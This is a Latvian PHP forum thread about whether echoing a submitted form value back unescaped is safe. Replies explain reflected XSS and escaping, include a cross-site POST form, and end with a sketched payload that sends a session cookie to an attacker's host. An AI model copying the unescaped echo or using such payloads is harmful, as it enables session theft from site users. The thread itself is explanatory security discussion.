Jump to content
php.lv forumi

web forma, drošība


briedis

Recommended Posts

Piemēram, man ir pagara forma, cilvēks saraksta viskautko, bet kaut kur kļūda, tad kad nospiež submit, ar php pārbaudu, atrodu kļūdu, izmetu paziņojumu. Tas būtu forši, bet arī forši būtu saglabāt iepriekš rakstītos datus attiecīgajos laukos.

 

Vai šitā te rakstot kāds nelietis nevar sviestu sataisīt? Nu es domāju server side, nevis client.

 

<input name="vards" type="text" value="<?=$_POST['vards'];?>">

Link to comment
Share on other sites

It ka nevaretu staisit sviestu, tapec ka tev parbaude ir tani pasha faila, velak bus gruti saprast, kas kur utt. Labak uztaisit vienu failu, kas tos datus valide, ja dati nav pareizi saglaba pazinojumu un sessija padot datus atpakal formai.

Edited by cucumber
Link to comment
Share on other sites

..., tad var client side visādus brīnumus sataisīt.

Nu un ... Ko padevi to sanjemi atpakalj...

( nu meginas kads padot JS kodu .... --> pariecasies Ka Esot ko uzlauzis, bet realitaate tik pats sev pari dariis...)

Drizak pec tam var rasties pasam problemas... --> vienmer atcereties ka otreiz padotais kods (japarbauda uz html special charu simboliem ... utt)

Link to comment
Share on other sites

Nu - šajā konkrētajā gadijumā tiešām varbūt liels labums no JS injekcijām nebūtu, bet vispār problēmas var radīt arī tas, ja lietotājs vienkārši pēdiņas ievada.

 

Un par injekcijām - uzskatu, ka labāk vienmēr visur eskeipot. Nekad nevari zināt, kā kāds varētu atrast veidu kā abjūzot.

 

vienmer atcereties ka otreiz padotais kods (japarbauda uz html special charu simboliem ... utt)

Ko?

Link to comment
Share on other sites

Vajag pārbaudīt, jo - iedomājies, ka man atsūta adresi - noklikšķini te, lai nopelnītu miljonu, un šī lapa satur kaut ko šādu:

<form method="post" action="http://www.briezhalapa.lv/lapas/shitaa_forma_par_ko_jautaa.php">
<input name="vards" type="hidden" value="sliktais_XXS">
<input type="submit" value="Click Here to get your million">
</form>

Link to comment
Share on other sites

Vajag pārbaudīt, jo

nu un ? tas kas iepostees pats sanjems to savu kodu TEXT veidaa atpakalj ;)

 

Es nerunaju ka nevajag parbaudiit/eskeipot utt tekstu pie vinja apstraades, bet gan par to ka pilnigi drosi var mest klientam atpakalj to ko vinsh iepostejis...

---

andrisp --> ja izmantosi htmlspecialchars() un apstradaato vertiibu padosi atpakalj tad var gadiities situacija ka atpakal tiks izvadiits nevis 1 simbols

bet 3 teiksim parolee tiek izmantots <> 2 simbolu vietaa dabuusi 6 .....

---

Par pedinjam taisniiba.. jaskataaas katraa konkretajaa gadiijumaa kas un kaa....

---------------------------

Vel sameraa intresants risinajums ir nevis parladeet lapu, bet gan apstradi veikt atseviskjaa skriptaa un kljudas padot atpakalj ar JS , kaa arii veiksmigas izpildisanaas gadijumaa parladeet pashu lapu ...

---

Tb. izmantot ifreimu ar 0 vertiibaam .... (border=0 width=0 .. utt)

---

tik jatceraas ka ja pats JS skripts atrodas pamat lapaa tad jaizmanto parent.document.GetEl ...... parent.funkcija()

Link to comment
Share on other sites

andrisp --> ja izmantosi htmlspecialchars() un apstradaato vertiibu padosi atpakalj tad var gadiities situacija ka atpakal tiks izvadiits nevis 1 simbols
bet 3 teiksim parolee tiek izmantots <> 2 simbolu vietaa dabuusi 6 .....

 

Tā nevar gadīties. Pārlūks aizkodētos < un > tāpat serverim nosūtīs kā < un >. Vai arī parādi strādājošu piemēru, kas pierāda tavu teikto.

Link to comment
Share on other sites

Grey wolf - runa ir par to, ka ļaunais cilvēks savā saitā var uztaisīt speciālu formu, kuru lietotājs nosubmitojot (sava stulbuma vai tādēļ ka apmānīts dēļ) izpilda ļaundara izvēlēto JS kodu (kuram ir piekļuve visiem mainīgajiem, kas pieejami tobrīd lietotājam tajā brieža lapā).

Edited by Aleksejs
Link to comment
Share on other sites

Grey wolf - runa ir par to, ka ļaunais cilvēks savā saitā var uztaisīt speciālu formu, kuru lietotājs nosubmitojot (sava stulbuma vai tādēļ ka apmānīts dēļ) izpilda ļaundara izvēlēto JS kodu (kuram ir piekļuve visiem mainīgajiem, kas pieejami tobrīd lietotājam tajā brieža lapā).

 

 

Nū, no tā jau neviens nevar pasargāt :)

Jebkurā gadījumā cilvēks var saglabāt uz sava datora butaforisku lapu 1:1 :)

Tā saucās krāpšana... tāpatās kā sūtīt ēpastus no "hanzanet" lai savada visus kartes kodus :))

Link to comment
Share on other sites

Nē, Tu nesaprati - runa ir par to, ka ja Tu nefiltrē izvadi tad:

Iedomājies, ka šī forma, par ko runājam ir komentāra ierakstīšanai forumā.

Un pieņemsim, ka cilvēks ir ielogojies šajā forumā. Pieņemsim tāpat, ka sesijas ID glabājas cookija mainīgajā SESIJA.

Tagad - ja ļaundaris savā saitā izveido (pilnīgi nelīdzīgu tavai) lapu, kurā caur POST (kā iepriekš rādīju) padod name="java script:document.location=ljaundara.saits.la/lapele/?nospertaas_sesijas_id=cookie.SESIJA" (protams visu pareizi noeskeipojot un noslēpjot un izveicot citas papildus lietas) - rezultātā - ļaundaris ir saņēmis darbojošos sesijas ID.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
×
  • Create New...